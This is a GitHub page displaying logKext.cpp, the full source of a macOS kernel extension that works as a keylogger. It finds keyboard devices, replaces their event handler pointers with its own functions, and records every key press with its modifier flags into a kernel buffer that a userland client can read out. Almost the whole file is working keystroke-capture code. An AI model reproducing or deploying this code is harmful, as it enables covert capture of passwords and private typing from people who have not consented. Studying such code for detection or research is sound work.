-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathlogKext.cpp
360 lines (280 loc) · 8.64 KB
/
logKext.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
/*
logKext.cpp
logKext
Copyright 2007 Braden Thomas
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
#include "logKext.h"
#include "logKextKeys.h"
#include <libkern/c++/OSCollection.h>
com_fsb_iokit_logKext *logService;
KeyboardEventAction origAction;
KeyboardSpecialEventAction origSpecialAction;
#define super IOService
OSDefineMetaClassAndStructors(com_fsb_iokit_logKext, IOService);
bool com_fsb_iokit_logKext::termNotificationHandler(void *target,
void *ref,
IOService *newServ)
{
com_fsb_iokit_logKext* self = OSDynamicCast( com_fsb_iokit_logKext, (OSMetaClassBase*)target );
if (!self)
return false;
#ifdef DEBUG
IOLog( "%s::Termination Notification handler called\n", self->getName() );
#endif
if (!self->loggedKeyboards)
return false;
IOHIKeyboard* keyboard = OSDynamicCast( IOHIKeyboard, newServ );
if (!keyboard)
return false;
int index = self->loggedKeyboards->getNextIndexOfObject(keyboard,0);
if (index>=0)
{
#ifdef DEBUG
IOLog( "%s::Removing keyboard %x\n", self->getName(),keyboard );
#endif
self->kextKeys--;
self->loggedKeyboards->removeObject(index);
}
return true;
}
bool com_fsb_iokit_logKext::myNotificationHandler(void *target,
void *ref,
IOService *newServ)
{
com_fsb_iokit_logKext* self = OSDynamicCast( com_fsb_iokit_logKext, (OSMetaClassBase*)target );
if (!self)
return false;
#ifdef DEBUG
IOLog( "%s::Notification handler called\n", self->getName() );
#endif
IOHIKeyboard* keyboard = OSDynamicCast( IOHIKeyboard, newServ );
if (!keyboard)
return false;
if (!keyboard->_keyboardEventTarget)
{
#ifdef DEBUG
IOLog( "%s::No Keyboard event target\n", self->getName());
#endif
return false;
}
// event target must be IOHIDSystem
IOService* targetServ = OSDynamicCast( IOService, keyboard->_keyboardEventTarget );
if (targetServ)
{
#ifdef DEBUG
IOLog( "%s::Keyboard event target is %s\n", self->getName(), targetServ->getName());
#endif
}
if (!keyboard->_keyboardEventTarget->metaCast("IOHIDSystem"))
return false;
// we have a valid keyboard to be logged
#ifdef DEBUG
IOLog( "%s::Adding keyboard %x\n", self->getName(),keyboard );
#endif
int index = self->loggedKeyboards->getNextIndexOfObject(keyboard,0);
if (index<0)
{
self->loggedKeyboards->setObject(keyboard);
self->kextKeys++;
}
origAction = keyboard->_keyboardEventAction; // save the original action
keyboard->_keyboardEventAction = (KeyboardEventAction) logAction; // apply the new action
origSpecialAction = keyboard->_keyboardSpecialEventAction; // save the original action
keyboard->_keyboardSpecialEventAction = (KeyboardSpecialEventAction) specialAction; // apply the new action
return true;
}
bool com_fsb_iokit_logKext::start(IOService *provider)
{
#ifdef DEBUG
IOLog( "%s::Starting\n", getName() );
#endif
origAction = NULL;
origSpecialAction = NULL;
buffsize = 0;
kextKeys = 0;
notify = NULL;
bool result = super::start(provider);
logService = this;
loggedKeyboards = new OSArray();
loggedKeyboards->initWithCapacity(1);
fMemBuf = (unsigned char*)IOMalloc(MAX_BUFF_SIZE); // allocate a buffer to store the characters
if( !fMemBuf )
return false;
registerService(); // make us visible in the IORegistry for matching by IOServiceGetMatchingServices
notifyTerm = addNotification(gIOTerminatedNotification,
serviceMatching("IOHIKeyboard"),
(IOServiceNotificationHandler) &com_fsb_iokit_logKext::termNotificationHandler,
this, 0);
if(!result) // if we failed for some reason
{
stop(provider); // call stop to clean up
return false;
}
#ifdef DEBUG
IOLog( "%s::Successfully started\n", getName() );
#endif
return true;
}
void com_fsb_iokit_logKext::clearKeyboards()
{
#ifdef DEBUG
IOLog( "%s::Clear keyboards called with kextkeys %d!\n", getName(), kextKeys );
#endif
if (loggedKeyboards)
{
int arraySize = loggedKeyboards->getCount();
for (int i=0; i<arraySize; i++)
{
IOHIKeyboard *curKeyboard = (IOHIKeyboard*)loggedKeyboards->getObject(0);
if (origSpecialAction)
curKeyboard->_keyboardSpecialEventAction = origSpecialAction;
if (origAction)
curKeyboard->_keyboardEventAction = origAction;
loggedKeyboards->removeObject(0);
kextKeys--;
}
}
origSpecialAction = NULL;
origAction = NULL;
kextKeys=0;
}
void com_fsb_iokit_logKext::activate()
{
notify = addNotification(gIOPublishNotification,
serviceMatching("IOHIKeyboard"),
(IOServiceNotificationHandler) &com_fsb_iokit_logKext::myNotificationHandler,
this, 0);
#ifdef DEBUG
IOLog( "%s::Added notification for keyboard\n", getName() );
#endif
return;
}
void com_fsb_iokit_logKext::deactivate()
{
if (notify)
notify->remove();
notify = NULL;
clearKeyboards();
#ifdef DEBUG
IOLog( "%s::Removed notification for keyboard\n", getName() );
#endif
}
void com_fsb_iokit_logKext::stop(IOService *provider)
{
if (notifyTerm)
notifyTerm->remove();
#ifdef DEBUG
IOLog( "%s::Stopping\n", getName() );
#endif
logService = NULL;
deactivate();
// clean up our IOMemoryDescriptor and buffer
if(fMemBuf)
{
IOFree(fMemBuf, MAX_BUFF_SIZE);
fMemBuf = NULL;
}
loggedKeyboards->release();
super::stop(provider);
}
/*
Methods called from userland via the user client:
*/
IOReturn com_fsb_iokit_logKext::BuffandKeys( UInt32* size, UInt32* keys )
{
*size = buffsize;
*keys = kextKeys;
return kIOReturnSuccess;
}
IOReturn com_fsb_iokit_logKext::Buffer( bufferStruct* inStruct )
{
if(buffsize)
{
memcpy(inStruct->buffer, fMemBuf, buffsize);
inStruct->bufLen = buffsize;
buffsize = 0;
}
else
inStruct->bufLen = 0;
return kIOReturnSuccess;
}
void com_fsb_iokit_logKext::logStroke( unsigned key, unsigned flags, unsigned charCode )
{
/* changed to allow for dynamic key mappings:
- Keys are transmitted to userspace as 2 byte half-words
- The top 5 bits of the half-word indicate the flags
the order from high to low is:
case (Shift or Caps)
ctrl
alt
cmd
fn
- The bottom 11 bits contain the key itself (2048 is plenty big)
*/
u_int16_t keyData = key;
keyData &= 0x07ff; // clear the top 5 bits
if ((flags & CAPS_FLAG)||(flags & SHIFT_FLAG))
keyData |= 0x8000;
if (flags & CTRL_FLAG)
keyData |= 0x4000;
if (flags & ALT_FLAG)
keyData |= 0x2000;
if (flags & CMD_FLAG)
keyData |= 0x1000;
if (flags & FN_FLAG)
keyData |= 0x0800;
if (!buffsize)
bzero(fMemBuf,MAX_BUFF_SIZE);
#ifdef DEBUG
IOLog( "%s::Copying key %04x\n", getName(), keyData );
#endif
memcpy(fMemBuf+buffsize,&keyData,sizeof(keyData));
buffsize+=sizeof(keyData);
if (buffsize>(9*MAX_BUFF_SIZE/10))
{
#ifdef DEBUG
IOLog( "%s::Error: buffer overflow\n", getName() );
#endif
buffsize=0;
}
}
void specialAction(OSObject * target,
/* eventType */ unsigned eventType,
/* flags */ unsigned flags,
/* keyCode */ unsigned key,
/* specialty */ unsigned flavor,
/* source id */ UInt64 guid,
/* repeat */ bool repeat,
/* atTime */ AbsoluteTime ts)
{
if ((eventType==NX_SYSDEFINED)&&(!flags)&&(key==NX_NOSPECIALKEY)) // only sign of a logout (also thrown when sleeping)
logService->clearKeyboards();
if (origSpecialAction)
(*origSpecialAction)(target,eventType,flags,key,flavor,guid,repeat,ts);
}
void logAction(OSObject * target,
/* eventFlags */ unsigned eventType,
/* flags */ unsigned flags,
/* keyCode */ unsigned key,
/* charCode */ unsigned charCode,
/* charSet */ unsigned charSet,
/* originalCharCode */ unsigned origCharCode,
/* originalCharSet */ unsigned origCharSet,
/* keyboardType */ unsigned keyboardType,
/* repeat */ bool repeat,
/* atTime */ AbsoluteTime ts)
{
if ((eventType==NX_KEYDOWN)&&logService)
logService->logStroke(key, flags, charCode);
if (origAction)
(*origAction)(target,eventType,flags,key,charCode,charSet,origCharCode,origCharSet,keyboardType,repeat,ts);
}